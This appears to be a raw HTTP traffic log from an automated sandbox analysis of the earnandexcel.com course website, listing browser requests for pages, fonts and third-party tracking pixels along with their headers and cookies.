Source: global traffic	HTTP traffic detected: GET /cm/p?rand=1712630663074&pnid=140&pcid=f873d799-987f-45f5-8689-9e999756dca0 HTTP/1.1Host: tr.snapchat.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://tr.snapchat.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4fAQTDeCkyosPt/sa2cVm3QpP0N4rGVhpqxhtW1H+xsX1AcBy9AE7q/6AYb17SZAAAAA
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/416707819/?random=1712870809382&cv=11&fst=1712869200000&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqQVhWucT7_G9YvV2zanSzmAmUZ93F7w&random=1285676519&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/gordita/Gordita-Medium.ttf HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/gordita/Gordita-Regular.ttf HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2
Source: global traffic	HTTP traffic detected: GET /tr/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, triggerReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/416707819/?random=1712870809382&cv=11&fst=1712869200000&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqQVhWucT7_G9YvV2zanSzmAmUZ93F7w&random=1285676519&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/gordita/Gordita-Bold.ttf HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
Source: global traffic	HTTP traffic detected: GET /tr/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
Source: global traffic	HTTP traffic detected: GET /static/ct/token_create.js HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /courses/ HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
Source: global traffic	HTTP traffic detected: GET /ct.html HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/cropped-Earn-And-Excel-Favicon-32x32.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/cropped-Earn-And-Excel-Favicon-32x32.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
Source: global traffic	HTTP traffic detected: GET /update?cats= HTTP/1.1Host: sda.fyiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
